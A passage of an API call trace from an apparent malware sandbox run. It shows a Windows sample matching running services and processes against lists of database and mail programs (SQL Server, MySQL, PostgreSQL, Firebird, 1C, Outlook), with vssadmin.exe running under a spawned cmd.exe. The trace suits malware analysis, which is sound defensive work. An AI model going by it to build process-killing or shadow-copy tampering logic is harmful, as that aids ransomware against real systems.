	[0042.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0042.018] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0042.018] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0042.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0042.018] lstrlenW (lpString="UxSms") returned 5
	[0042.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0042.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0042.018] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0042.018] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0042.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0042.018] lstrlenW (lpString="VSS") returned 3
	[0042.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0042.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0042.019] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0042.019] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0042.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0042.019] lstrlenW (lpString="WdiServiceHost") returned 14
	[0042.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0042.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0042.019] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0042.019] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0042.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0042.019] lstrlenW (lpString="WdiSystemHost") returned 13
	[0042.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0042.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0042.019] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0042.019] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0042.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0042.019] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0042.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0042.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0042.019] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0042.019] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0042.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0042.019] lstrlenW (lpString="Winmgmt") returned 7
	[0042.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0042.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0042.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0042.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0042.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0042.019] lstrlenW (lpString="WPDBusEnum") returned 10
	[0042.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0042.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0042.020] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0042.020] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0042.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0042.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x36a1308 | out: hHeap=0x4f0000) returned 1
	[0042.022] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x160
	[0042.024] Process32FirstW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0042.025] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0042.025] lstrlenW (lpString="System") returned 6
	[0042.025] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0042.026] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0042.026] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0042.026] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0042.026] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0042.026] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0042.026] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0042.026] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0042.026] lstrlenW (lpString="smss.exe") returned 8
	[0042.026] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0042.026] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0042.026] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0042.026] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0042.027] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0042.027] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0042.027] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0042.027] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0042.027] lstrlenW (lpString="csrss.exe") returned 9
	[0042.027] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0042.027] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0042.027] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0042.027] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0042.027] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0042.027] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0042.028] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0042.028] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0042.028] lstrlenW (lpString="wininit.exe") returned 11
	[0042.028] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0042.028] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0042.028] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0042.028] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0042.028] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0042.028] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0042.028] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0042.028] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0042.029] lstrlenW (lpString="csrss.exe") returned 9
	[0042.029] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0042.029] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0042.030] lstrlenW (lpString="winlogon.exe") returned 12
	[0042.030] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0042.031] lstrlenW (lpString="services.exe") returned 12
	[0042.031] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0042.032] lstrlenW (lpString="lsass.exe") returned 9
	[0042.032] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0042.032] lstrlenW (lpString="lsm.exe") returned 7
	[0042.032] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.033] lstrlenW (lpString="svchost.exe") returned 11
	[0042.033] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.034] lstrlenW (lpString="svchost.exe") returned 11
	[0042.034] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.035] lstrlenW (lpString="svchost.exe") returned 11
	[0042.035] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.035] lstrlenW (lpString="svchost.exe") returned 11
	[0042.035] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.036] lstrlenW (lpString="svchost.exe") returned 11
	[0042.036] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0042.037] lstrlenW (lpString="audiodg.exe") returned 11
	[0042.037] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.037] lstrlenW (lpString="svchost.exe") returned 11
	[0042.037] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.038] lstrlenW (lpString="svchost.exe") returned 11
	[0042.038] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0042.039] lstrlenW (lpString="dwm.exe") returned 7
	[0042.039] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0042.039] lstrlenW (lpString="explorer.exe") returned 12
	[0042.039] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0042.040] lstrlenW (lpString="spoolsv.exe") returned 11
	[0042.040] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0042.041] lstrlenW (lpString="taskhost.exe") returned 12
	[0042.041] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.042] lstrlenW (lpString="svchost.exe") returned 11
	[0042.042] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0042.042] lstrlenW (lpString="taskeng.exe") returned 11
	[0042.042] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0042.043] lstrlenW (lpString="taskhost.exe") returned 12
	[0042.043] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0042.044] lstrlenW (lpString="program.exe") returned 11
	[0042.044] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0042.044] lstrlenW (lpString="felt.exe") returned 8
	[0042.044] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0042.045] lstrlenW (lpString="bibliography.exe") returned 16
	[0042.045] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0042.046] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0042.046] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0042.047] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0042.047] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0042.047] lstrlenW (lpString="converter.exe") returned 13
	[0042.047] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0042.048] lstrlenW (lpString="once.exe") returned 8
	[0042.048] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0042.049] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0042.049] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0042.049] lstrlenW (lpString="always.exe") returned 10
	[0042.049] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0042.050] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0042.050] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0042.051] lstrlenW (lpString="donated.exe") returned 11
	[0042.051] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0042.052] lstrlenW (lpString="nowherepike.exe") returned 15
	[0042.052] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0042.052] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0042.052] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0042.053] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0042.053] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0042.054] lstrlenW (lpString="allowance.exe") returned 13
	[0042.054] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0042.054] lstrlenW (lpString="conducting affect.exe") returned 21
	[0042.054] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0042.055] lstrlenW (lpString="plaintiff.exe") returned 13
	[0042.055] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0042.056] lstrlenW (lpString="dialog.exe") returned 10
	[0042.056] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0042.183] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0042.183] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0042.184] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0042.184] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0042.185] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0042.185] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0042.185] lstrlenW (lpString="dllhost.exe") returned 11
	[0042.185] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0042.186] lstrlenW (lpString="swpesp.exe") returned 10
	[0042.186] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0042.187] lstrlenW (lpString="cmd.exe") returned 7
	[0042.187] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0042.187] lstrlenW (lpString="conhost.exe") returned 11
	[0042.187] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0042.188] lstrlenW (lpString="vssadmin.exe") returned 12
	[0042.188] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0042.189] lstrlenW (lpString="VSSVC.exe") returned 9
	[0042.189] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0
	[0042.190] CloseHandle (hObject=0x160) returned 1
	[0042.190] Sleep (dwMilliseconds=0x1f4) 
	[0042.879] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d04d0
	[0042.880] EnumServicesStatusExW (in: hSCManager=0x35d04d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
